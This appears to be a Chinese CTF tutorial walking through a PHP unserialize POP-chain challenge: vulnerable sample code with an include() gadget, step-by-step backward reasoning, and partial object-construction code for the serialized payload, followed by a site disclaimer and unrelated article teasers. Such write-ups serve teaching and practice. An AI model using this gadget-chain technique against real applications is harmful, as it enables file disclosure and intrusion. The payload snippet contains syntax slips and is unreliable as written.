反序列化提升刷题

例题:

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

这是一道经典的反序列化题目,如果有能力可以自己先做做,我的上一篇文章有反序列化的做题方法,大家如果做不出来自行去看就是。我这篇文章就是用五步法做出反序列化题目的,推荐大家可以看看我的上一篇文章五步法带你搞定反序列化难题-CSDN博客

学了方法用就是了,我的方法有五个步骤,可以带你解决大多数的反序列化难题。

第一步:先看哪个对象下面的函数和属性能够帮我执行恶意代码

public function append($value)
    {
        include($value);
        echo $flag;
    }

第二步:

我能控制的是啥?

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);

第三步:(大概看懂就好,没必要像我下面那样那么详细,只是为了大家能够更直观的理解而已。)

这串代码的正常情况下会怎么执行。

首先你先GET 'pop',经过反序列化以后

  1. 如果反序列化的对象是Show类的实例,那么在任何尝试将对象当作字符串打印出来时,都会调用__toString()魔术方法。这里的__toString()方法返回的是$this->str->source,即尝试访问str属性里的source属性。

  2. 如果反序列化的对象是Show类的实例,并且对象被销毁(例如在脚本执行结束时),__wakeup()方法会被调用。在这个例子中,__wakeup()方法会输出$this->source的值。

  3. 如果反序列化的对象是Test类的实例,并且尝试访问一个未定义的属性,__get()魔术方法会被调用。这个方法会尝试调用$this->p作为函数,这里$this->p应该是一个可调用的结构(比如是一个闭包或对象的方法)。

  4. 如果反序列化的对象是Modifier类的实例,并且对象以函数的方式被调用(由于实现了__invoke()魔术方法),__invoke()方法将被执行。该方法会调用append()方法,并将$this->var作为参数传递。append()方法会包含$value指定的文件,并尝试输出一个名为$flag的变量。

第四步:4.要执行恶意代码,该怎么做?(即为通过我所能控制的东西,如何才能执行恶意代码?)记住!!!!!!!!!!!!从后往前推导!!!

1.public function append($value)
    {
        include($value);
        echo $flag;
    }

这里有一个文件包含,首先你得调用append吧,往里面传个参数,value=flag.php

问:那怎么调用append呢?

 public function __invoke(){
        $this->append($this->var);
    }
}

答:通过触发invoke()——魔术方法,调用append,再使var=flag.php

问:invoke怎么触发?

答:把对象当成函数

问题:怎么把对象当成函数?

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

这串代码中有个return fuction就直接把function当成函数了

问:怎么触发return fuction?

答:触发get()——魔术方法,并且将p当成一个对象,就直接p=Modifier ,这样就能够满足触发invoke()——魔术方法,做到把对象当成函数。

问题:怎么触发get()——魔术方法?

答:调用不存在的成员属性

问:如何调用不存在的成员属性?

答:想想还有哪里没有使用的,(类-》实例-》属性)

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

触发tostring()——魔术方法,然后给$str赋值对象Test,因为Test中不存在成员属性source,所以就能够调用不存在的成员属性,从而触发get()——魔术方法

问:如何触发tostring()——魔术方法?

答:把对象当成字符串

问:如何把对象当成字符串?

答:相信大家仔细观察就能够发现整段代码就只剩下

   public function __wakeup(){
        echo $this->source;
    }

这个没有使用了,

直接触发魔术方法wakeup()——将source赋值show,就是将自己这个对象赋值给source,就能把对象当成字符串,从而触发tostring()魔术方法

问题:如何触发wakeup()魔术方法?

答:反序列化会触发wakeup()魔术方法。(终于推导到我所能控制的东西了!!!)

第五步:分析完毕,直接注释掉一些代码,稍作整改,构造pop链。

像这样直接把不必要的fuction删除,输出那些也删除,报错的代码也删除,就只剩下了上面的代码,留下成员属性就好了。

接着$var=flag.php(私有属性只能在本来的类给他赋值)

$mod=new Modifier();

$test=new Test();

$test->p=$mod;

$show=new show();

$show source=$show;

$show ->str=$test;

echo serialize($show);

本题到此结束,但是要注意Modifier下面的$var是个私有属性,所以得到的pop链Modifier两侧直接改成%00就好了。

希望大家可以从五步法中掌握更多的反序列化难题,真诚的希望大家能够从我的文章学到知识,如果觉得不错,希望大家可以收藏后吸收本文,在以后遇到反序列化难题的时候手里握着五步法,相信大家都能够从容不迫地应对。

                                                                                                                                   -------------来自补天阁

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/628372.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LabVIEW编码器自动校准系统

简介 在工作中&#xff0c;精确的角度测量和校准对于保持设备精度至关重要。开发了一套自动化角度编码器校准系统&#xff0c;利用了LabVIEW的强大功能。该系统以全圆连续角度标准装置为基础&#xff0c;配合二维导轨装夹系统&#xff0c;实现了空心轴角度编码器的高效自动校…

GitHub高级搜索技巧

GitHub高级搜索技巧 in:name <关键字> 仓库名称带关键字查询 in:description <关键字> 仓库描述带关键字查询 in:readme <关键字> README文件带关键字查询 stars(fork): >() <数字> <关键字> star或fork数大于(或等于)指定数字的带关键字查…

RAG词嵌入召回质量评估

一、目录 1 采用官方评估器进行评估 2 Open Ai的key分享 3 采用gpt 生成词嵌入的训练集 4 微调sentence_transformer模型 5 评估sentence_transformer模型 二、实现 官方网址&#xff1a;https://github.com/run-llama/finetune-embedding/blob/main/evaluate.ipynb 1.采用官…

红日靶场5

目录 前言 外网渗透 信息收集 1、arp探测 2、nmap 3、nikto 4、whatweb 5、gobuster 6、dirsearch 漏洞探测 ThinKPHP漏洞 漏洞利用 get shell 内网渗透 信息收集 CS 启动&#xff01; CS连接 CS信息收集 1、hashdump 2、猕猴桃 3、端口扫描 MSF启动&…

QT中程序执行时间精准计算的三种方法及对比

一.QT程序在提升程序性能的调试中经常要计算一段程序的执行时间&#xff0c;下面介绍两种简单的实现方式&#xff0c;精确度都可以达到ms。 1.方式一 &#xff08;1&#xff09;代码&#xff1a; #include <QDateTime> qDebug() << "Current_date_and_tim…

ubuntu server配置无线网络

1 配置文件 进入 Netplan 配置目录&#xff0c;查看其中的默认配置文件&#xff1a; $ cd /etc/netplan/ $ ls 50-cloud-init.yaml此机器上的配置文件名为 50-cloud-init.yaml。由于安装方式、系统版本等差异&#xff0c;配置文件的名称可能有所不同&#xff0c;但都是 yaml …

Git使用统一规范

为什么要统一git使用的风格&#xff1f; 统一的风格使我们在工作的时候无需考虑工作流程上该如何去做的问题&#xff0c;按照一个风格去做就好了每个人风格不同&#xff0c;格式凌乱&#xff0c;查看很不方便commit没有准确的message&#xff0c;后续难以追踪问题 git messag…

项目架构之Zabbix部署

1 项目架构 1.1 项目架构的组成 业务架构&#xff1a;客户端 → 防火墙 → 负载均衡&#xff08;四层、七层&#xff09; → web缓存/应用 → 业务逻辑&#xff08;动态应用&#xff09; → 数据缓存 → 数据持久层 运维架构&#xff1a;运维客户端 → 跳板机/堡垒机&#x…

JVM基础(4)——JVM存活判定算法

作者简介&#xff1a;大家好&#xff0c;我是smart哥&#xff0c;前中兴通讯、美团架构师&#xff0c;现某互联网公司CTO 联系qq&#xff1a;184480602&#xff0c;加我进群&#xff0c;大家一起学习&#xff0c;一起进步&#xff0c;一起对抗互联网寒冬 学习必须往深处挖&…

C++ 实现十大排序算法

教你手撕排序&#xff0c;这里有一个概念就是稳定排序。假定在待排序的记录序列中&#xff0c;存在多个具有相同的关键字的记录&#xff0c;若经过排序&#xff0c;这些记录的相对次序保持不变&#xff0c;即在原序列中&#xff0c;r[i]r[j]&#xff0c;且r[i]在r[j]之前&#…

第十三讲 单片机驱动彩色液晶屏 bin档的烧录方法

单片机驱动TFT彩色液晶屏系列讲座 目录 第一讲 单片机最小系统STM32F103C6T6通过RA8889驱动彩色液晶屏播放视频 第二讲 单片机最小系统STM32F103C6T6控制RA8889驱动彩色液晶屏硬件框架 第三讲 单片机驱动彩色液晶屏 控制RA8889软件:如何初始化 第四讲 单片机驱动彩色液晶屏 控…

Java生成四位数随机验证码

引言&#xff1a; 我们生活中登录的时候都要输入验证码&#xff0c;这些验证码是为了增加注册或者登录难度&#xff0c;减少被人用脚本疯狂登录注册导致的一系列危害&#xff0c;减少数据库的一些压力。 毕竟那些用脚本生成的账号都是垃圾账号 本次实践&#xff1a;生成这样的…

R语言【paleobioDB】——pbdb_scales():返回多个时间刻度的基本信息

Package paleobioDB version 0.7.0 paleobioDB 包在2020年已经停止更新&#xff0c;该包依赖PBDB v1 API。 可以选择在Index of /src/contrib/Archive/paleobioDB (r-project.org)下载安装包后&#xff0c;执行本地安装。 Usage pbdb_scales (...) Arguments 参数【...】&am…

CMake+QT+大漠插件的桌面应用开发

文章目录 CMakeQT大漠插件的桌面应用开发简介环境项目结构配置编译环境代码 CMakeQT大漠插件的桌面应用开发 简介 在CMake大漠插件的应用开发——处理dm.dll&#xff0c;免注册调用大漠插件中已经说明了如何免注册调用大漠插件&#xff0c;以及做了几个简单的功能调用&#x…

【STM32】STM32学习笔记-USART串口收发HEX和文本数据包(29)

00. 目录 文章目录 00. 目录01. 串口简介02. 串口收发HEX数据包接线图03. 串口收发HEX数据包示例104. 串口收发HEX数据包示例205. 串口收发文本数据包接线图06. 串口收发文本数据包示例07. 程序示例下载08. 附录 01. 串口简介 串口通讯(Serial Communication)是一种设备间非常…

itextpdf 之 html 转 pdf 问题处理

1. Font Provider contains zero fonts. At least one font shall be present 此问题出现的原因是 字体设置不成功&#xff0c;解决方法就是排查设置字体的代码。 需要特别注意的是项目打包后项目中所有文件层次会出现变动&#xff0c;使用何种方式获取字体文件会直接影响到字…

科研绘图(五)玫瑰图

柱状图的高级平替可视化 “玫瑰图”&#xff0c;通常也被称为“科克斯图”。它类似于饼图&#xff0c;但不同之处在于每个部分&#xff08;或“花瓣”&#xff09;的角度相同&#xff0c;半径根据它表示的值而变化。这种可视化工具对于周期性地显示信息非常有用&#xff0c;比…

Spring Boot 中批量执行 SQL 脚本的实践

在Spring Boot应用中&#xff0c;有时候我们需要批量执行存储在数据库中的 SQL 脚本。本文将介绍一个实际的案例&#xff0c;演示如何通过 Spring Boot、MyBatis 和数据库来实现这一目标。 0、数据库层 CREATE TABLE batchUpdate (id INT AUTO_INCREMENT PRIMARY KEY,update_…

TCP连接TIME_WAIT

TCP断开过程: TIME_WAIT的作用: TIME_WAIT状态存在的理由&#xff1a; 1&#xff09;可靠地实现TCP全双工连接的终止 在进行关闭连接四次挥手协议时&#xff0c;最后的ACK是由主动关闭端发出的&#xff0c;如果这个最终的ACK丢失&#xff0c;服务器将重发最终的FIN&#xf…

CSS3中多列布局详解

多列布局 概念&#xff1a;在CSS3之前&#xff0c;想要设计类似报纸那样的多列布局&#xff0c;有两种方式可以实现&#xff1a;一种是"浮动布局"&#xff0c;另一种是“定位布局”。 这两种方式都有缺点&#xff1a;浮动布局比较灵活&#xff0c;但不容易控制&…